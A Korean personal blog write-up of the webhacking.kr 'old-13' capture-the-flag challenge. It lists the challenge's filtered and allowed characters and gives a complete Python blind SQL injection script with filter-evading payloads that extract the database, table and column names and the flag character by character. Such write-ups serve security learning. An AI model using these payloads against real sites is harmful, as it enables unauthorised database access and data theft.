짱짱해커가 되고 싶은 나

[webhacking.kr] old-13 본문

Web hacking

[webhacking.kr] old-13

동로시 2021. 5. 31. 02:31

Background

url 인코딩 - hex값 앞에 %를 붙힌 값. (url에 포함되는 문자들을 안전하게 웹서버에 전달하기 위해, 특수한 기능을 가진 문자들을 브라우저가 인코딩해서 전달)

 

블라인드 SQL injection : 정보를 직접적으로 알아낼 수는 없지만 true/false를 통해 DB의 구조를 알아내는 공격 기법.

 

information_schema.tables

Exploit

100점 짜리 문제..!

sql injection 문제로 보인다.

1을 입력하고 제출을 누르면 이렇게 데이터베이스 형식으로? result column에 값이 저장된다.

 

다른 값을 넣으면 추가되나 확인해보려고 2를 입력해서 제출해보니 0이 떴다. 3도 마찬가지.

 그런데 0을 뜨면 아예 result가 뜨지 않는 것을 볼 수 있다.

 

url을 입력했더니 No hack이 뜬다. sql injection 을 막기 위한게 들어가 있나보다.

 

그러면 일단 result case는 0,1,없음 이렇게 3가지 인 것같다. 0일 경우 = 없음, 1=1, 나머지는 모두 0.

 

필터링 되는 것과 안되는 것을 한 번 구해보자. (필터링 되면 no hack이 뜸)

1or1을 하면 결과가 나오지만, 1 or 1을 하면 no hack이 뜬다 == 공백 필터링, or 필터링 X

 

<필터링 되지 않는 것>

or

'

select

()

%20(공백)

%23(#) // 모든 url 인코딩 값은 다 되는 듯?

all

?

%

 

<필터링 되는 것>

공백

and

where 등 select 빼고 나머지 다

=

#

&&

||

/

*

+

 

대충 이렇게 참고해서 디비 구조를 파악해보자.

 

import requests

url = "https://webhacking.kr/challenge/web-10/"
db_name=""
table_name=""
col_name=""
flag=""

def str2bin(string):
        return '0b' + ''.join(format(ord(x), 'b').zfill(8) for x in string)

#db_name_length
print("\n>> Length of DB Name")
for i in range(1, 10):
        param = '?no=(0)or(if(length(database())in(' + str(i) + '),1,0))'
        response = requests.get(url+param)

        if('<td>1</td>' in response.text):
                db_name_length = i
                print(db_name_length)
                break

#db_name
print("\n>> DB Name")
for i in range(1,db_name_length+1):
        for j in range(32,123):
                param = '?no=(0)or(if(ord(substr(database(),' + str(i) + ',1))in(' + str(j) + '),1,0))'
                response = requests.get(url+param)

                if('<td>1</td>' in response.text):
                        db_name = db_name + chr(j)
                        break
print(db_name)

#table_name_length
print("\n>> Length of Table Name")
for i in range(1,30):
        param = '?no=if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in(' + str(i) + '),1,0)'
        response = requests.get(url+param)

        if('<td>1</td>' in response.text):
                table_name_length = i
                print(table_name_length)
                break

#table_name
print("\n>> Table Name")
for i in range(1, table_name_length+1):
        for j in range(32,123):
                param = '?no=if((select(substr(min(if((select(table_schema)in(database())),table_name,null)),' + str(i) + ',1))from(information_schema.tables))in(' + str(bin(j)) + '),1,0)'
                response = requests.get(url+param)

                if('<td>1</td>' in response.text):
                        table_name = table_name + chr(j)
                        break

print(table_name)

#db_column_lenth
print("\n>> Length of Column")
for i in range(1,30):
        param = '?no=if((select(length(min(if((select(table_name)in(' + str2bin(table_name) + ')),column_name,null))))from(information_schema.columns))in(' + str(i) + '),1,0)'
        #param = '?no=if((select(length(min(if((select(table_name)in(' + bin(table_name) + ')),column_name,null))))from(information_schema.columns))in(' + str(i) + '),1,0)'
        response = requests.get(url+param)

        if('<td>1</td>' in response.text):
                col_length = i
                print(i)
                break

#db_column_name
print("\n>> Column Name")
for i in range(1, col_length+1):
        for j in range(32, 123):
                param = '?no=if((select(substr(min(if((select(table_name)in(' + str2bin(table_name) + ')),column_name,null)),' + str(i) + ',1))from(information_schema.columns))in(' + str(bin(j)) + '),1,0)'
                response = requests.get(url+param)

                if('<td>1</td>' in response.text):
                        col_name = col_name + chr(j)
                        break
print(col_name)

#flag_length
print("\n>> Lenth of Flag")
for i in range(1,50):
        param = '?no=if((select(length(max(' + col_name + ')))from(' + db_name + '.' + table_name.lower() + '))in(' + str(i) + '),1,0)'
        response = requests.get(url+param)

        if('<td>1</td>' in response.text):
                flag_length = i
                print(i)
                break

#flag
print("\n>> Flag")
for i in range(1, flag_length+1):
        for j in range(32, 123):
                param = '?no=if((select(substr(max(' + col_name + '),' + str(i) + ',1))from(' + db_name + '.' + table_name.lower() + '))in(' + str(bin(j)) + '),1,0)'
                response = requests.get(url+param)

                if('<td>1</td>' in response.text):
                        flag = flag + chr(j)
                        break
print(flag)

자세히보면,,

 

> Database 이름 길이 구하기

> Database 이름 구하기

> table 이름 길이 구하기

> table 이름 구하기

 

> column 길이 구하기

 

> column 이름 구하기

 

> flag 길이 구하기

계속 결과가 안나와서 도대체 왜?! 설마설마 하다가 FLAG를 flag로 바꿔서 했더니 됐다;;

소문잔데 왜 대문자로 저장됐었는지 이해가 안감;;

chr(헥사값) 이 형태로 저장을 했었는데 대문자랑 소문자가 헥사값이 다른데 어떻게 이런 경우가.. 이해 X

글고 이게 테이블 이름만 소문자로 바꾸면 해결됐다. ㅂㄷㅂㄷ

다시 코드 확인해보니까 내가 table 이름 뽑을 때 소문자랑 숫자만 범위에 넣었다. ? 근데 왜 대문자가..나왔지..?;;

Mysql 같은 경우 대문자와 소문자를 구분하지 않는다. (??) 그러면 똑같이 값 나와야하는거 아닌가..

 

 > flag 구하기

 

플래그 값도 소문자로 써야한다,,

 

나중에,, 시간 좀 생기면 소문자 문제,, 왜이러는지 확인해봐야할듯

'Web hacking' 카테고리의 다른 글

[Cheat Engine] Tutorial - Step 2  (0) 2021.07.21
[Cheat Engine] Tutorial - Step 1  (0) 2021.07.21
[Webhacking.kr] old-24  (0) 2021.05.02
[Webhacking.kr] old-18  (1) 2021.03.28
[Webhacking.kr] old-17  (0) 2021.03.28
Comments